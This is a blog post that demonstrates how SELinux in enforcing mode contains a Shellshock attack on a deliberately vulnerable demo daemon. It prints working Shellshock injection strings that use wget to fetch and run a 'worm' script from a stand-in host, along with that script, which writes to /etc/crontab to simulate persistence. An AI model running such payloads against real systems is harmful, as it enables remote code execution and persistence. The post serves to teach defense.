SElinux and Shellshock
Sunday, December 14. 2014
The fallout from Shellshock seems to be over, but I ended up in a conversation about SElinux. So, this post is a follow-up on my Helsinki Security Meetup -post about SElinux.
Part 1: Enabling Shellshock
At this point, a flawed Bash isn't available without an intentional downgrade. First check the current version on my CentOS 7:
# rpm -q bash
bash-4.2.45-5.el7_0.4.x86_64
# bash --version
GNU bash, version 4.2.45(1)-release (x86_64-redhat-linux-gnu)
Then do a downgrade (it's amusing how downgrade is done via an upgrade command):
rpm --upgrade -h --oldpackage \
ftp://ftp.sunet.se/pub/Linux/distributions/centos/7.0.1406/os/x86_64/Packages/bash-4.2.45-5.el7.x86_64.rpm
Then check the version to make sure:
# rpm -q bash
bash-4.2.45-5.el7.x86_64
# bash --version
GNU bash, version 4.2.45(1)-release (x86_64-redhat-linux-gnu)
Somebody really dropped the ball there. It is impossible to determine if shellshock has been fixed or not. The version of Bash won't change! Anyway, the RPM-version tells the truth.
Part 2: The Setup
To act responsibly, I won't show how you can pop the cork of somebody's server. Instead, I created a demo application of my own which contains code similar to known flaws which allow Shellshock to do its dirty deeds.
The basic idea of my demo is to create a TCP-socket -based application to display current date and time on chosen locale. Full C-source code for date_daemon.c is available. From security perspective my code isn't that bad. This time (see the previous SElinux post), it doesn't allow you to run any command you like, but it runs date-comand from bash without any parameters. The part where I mess up, is that I don't sanitize or check the user input. To allow Shellshock to kick in, I'll set the un-sanitized user input into an environment variable LANG. If any sensible locale is entered, it will display the current date and time in the given format.
Example:
Hello there!
Get date at my box by entering your LANG preference and <enter>:
fi_FI
to 13.11.2014 02.43.10 +0200
From SElinux-perspective, I chose to emulate DHCPd-behaviour. There would have been other choices, but ... this time I went this way for a no particular reason. The source code can be compiled with a simple: gcc date_daemon.c -o date_daemon
Then to allow SElinux to kick in a shell-script and specific file-contexts are required. The start script (start.date_daemon.sh) is a very simple:
#!/bin/bash
exec ./date_daemon
Then change the file contexts:
chcon -t dhcpd_exec_t date_daemon
chcon -t initrc_exec_t start.date_daemon.sh
And confirm the result, that everything is set correctly from SElinux-perspective:
# ls -Z
-rwxr-xr-x. root root unconfined_u:object_r:dhcpd_exec_t:s0 date_daemon
-rw-r--r--. root root unconfined_u:object_r:admin_home_t:s0 date_daemon.c
-rwxr--r--. root root unconfined_u:object_r:initrc_exec_t:s0 start.date_daemon.sh
One last thing is that an Enforcing DHCPd cannot bind to any TCP-port you want. As I used TCP/8282, it needs to be allowed:
semanage port --add -t dhcpd_port_t -p tcp 8282
Then it is possible to run the leaky daemon: ./shellshock_test.sh
Finally, we'll confirm, that the process is running in DHCPd-context (in my case, the PID for the process is 25964):
# ps -Z 25964
LABEL PID TTY STAT TIME COMMAND
unconfined_u:system_r:dhcpd_t:s0 25964 ? S 0:00 ./date_daemon
Remember to make sure, that SElinux is in enforcing-mode. If it isn't it would be the same thing as running without SElinux:
# getenforce
Enforcing
All ok this far, let's move on for the good stuff.
Part 3: The Attack
Now that the sample daemon is running and SElinux is in enforcing-mode, let's run a sample attack on it. The set of commands I made up for this purpose is as follows:
- Get shellshock'd:
() { :;}; - Change into a target directory:
cd /bin ; - Create a temporary shell script injector.sh:
- rm nasty.worm.sh ;
- wget --no-verbose --output-document=nasty.worm.sh http://my.evil.site/nasty.worm.sh ;
- rm injector.sh ;
- bash nasty.worm.sh
- Run the injector-script:
bash injector.sh
The particular nasty worm in this example is a shell-script:
#!/bin/bash
now=$(date)
echo "$now: Your box is pwned!"
echo "$now: Your box is pwned!" >> /tmp/pwn.log
echo "# $now: Your box is pwned!" >> /etc/crontab
It won't do much harm. It simply gets the current date and time into a variable and prints it to standard output, into a log file and finally it modifies crontab-file to simulate a worm keeping itself alive.
Try injecting a new command into /bin/ (notice, the command in bold is a single line):
$ telnet localhost 8282
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Hello there!
Get date at my box by entering your LANG preference and <enter>:
() { :;}; cd /bin ; echo 'rm nasty.worm.sh ; wget --no-verbose --output-document=nasty.worm.sh http://my.evil.site/nasty.worm.sh ; rm injector.sh ; bash nasty.worm.sh' > injector.sh ; bash injector.sh/bin/bash: injector.sh: Permission denied
bash: injector.sh: No such file or directory
Connection closed by foreign host.
Notice how it will fail on injecting.
Let's try something else. This is a typical comment that I get a lot: "but it can write into /tmp/!". Sure it can, let's try that:
Get date at my box by entering your LANG preference and <enter>:
() { :;}; cd /tmp ; echo 'rm nasty.worm.sh ; wget --no-verbose --output-document=nasty.worm.sh http://my.evil.site/nasty.worm.sh ; rm injector.sh ; bash nasty.worm.sh' > injector.sh ; bash injector.sh
2014-11-13 05:01:35 URL:http://my.evil.site/nasty.worm.sh [156/156] -> "nasty.worm.sh" [1]
Thu Nov 13 05:01:35 EET 2014: Your box is pwned!
nasty.worm.sh: line 6: /etc/crontab: Permission denied
Connection closed by foreign host.
Nice, this time it actually did something. wget ran ok and it actually attempted to inject something. But the fact remains: it still runs with DHCPd-context which means it cannot do much. See:
# ls -Z /tmp/
-rw-r--r--. root root unconfined_u:object_r:dhcpd_tmp_t:s0 nasty.worm.sh
-rw-r--r--. root root unconfined_u:object_r:dhcpd_tmp_t:s0 pwn.log
Even the newly created files are in DHCPd tmp -context, they won't do much harm there.
Part 4: Let's Play what-if, Permissive SElinux
Permissive, Disabled or no SElinux at all will result in something else. Let's weaken the security first:
# setenforce Permissive
# getenforce
Permissive
Like this:
Get date at my box by entering your LANG preference and <enter>:
() { :;}; cd /bin ; echo 'rm nasty.worm.sh ; wget --no-verbose --output-document=nasty.worm.sh http://blog.hqcodeshop.fi/nasty.worm.sh ; rm injector.sh ; bash nasty.worm.sh' > injector.sh ; bash injector.sh
2014-11-13 05:02:30 URL:http://my.evil.site/nasty.worm.sh [156/156] -> "nasty.worm.sh" [1]
Thu Nov 13 05:02:30 EET 2014: Your box is pwned!
Connection closed by foreign host.
Yes, you'll have a brand new command sitting in /bin/:
# ls -Z /bin/nasty.worm.sh
-rw-r--r--. root root unconfined_u:object_r:bin_t:s0 /bin/nasty.worm.sh
Also your crontab will have a nice new row:
# cat /etc/crontab
...
# Thu Nov 13 05:02:30 EET 2014: Your box is pwned!
Not cool!
Part 5: Wrap-up
See: SElinux protects you even if you have software security failing.
Learn it! Love it! :-)